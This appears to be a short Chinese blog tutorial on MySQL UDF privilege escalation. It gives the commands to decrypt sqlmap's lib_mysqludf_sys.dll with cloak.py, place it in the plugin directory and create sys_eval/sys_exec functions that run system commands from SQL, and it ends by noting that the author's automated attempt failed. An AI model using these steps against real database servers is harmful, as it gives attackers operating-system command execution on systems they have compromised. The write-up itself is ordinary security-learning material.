什么是udf
udf = ‘user defined function‘,即‘用户自定义函数’。
是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
既然支持自定义函数那么我们如果想定义一个可以执行系统命令的函数也是可以的吧?
于是就有了udf提权。。
怎么使用udf提权呢
首先在sqlmap中就已经集成了这个dll。储存与SQLMAP相对路径下的 /udf/msql中
可以看到并不是一个dll文件,这是因为sqlmap防止查杀将文件做了加密。。需要我们用sqlmap自带的脚本解密一下。
该脚本位于sqlmap相对路径下的 /extra/cloak
在这里进行解密
打开cmd,定位到这个路径。。
输入命令: python2 cloak.py -d -i E:\pythpn27\SQLMap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
注意:后面的路径就是你的dll_文件的绝对路径
解密后就有了这个dll文件。。
于是进入mysql命令行或其他可以执行命令的地方。。
执行以下命令(用于收集信息):
select @@plugin_dir; 得到dll文件的储存位置
接下来将我们解密出来的dll文件复制到这个目录下
进入命令行创建命令执行函数(这里面提供两个):
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
create function sys_exec returns string soname 'lib_mysqludf_sys.dll';
创建完成后就可以直接运用执行系统命令了。
弹注册表。。
可以看到直接调用到了cmd来执行命令。
总结:原本想用sqlmap进行自动化的注入dll文件的。。但是发现没有权限写入。。。。。
下次试试win7吧。。
参考文章:https://www.sohu.com/a/246939954_610486
https://www.cnblogs.com/websecyw/p/9172994.html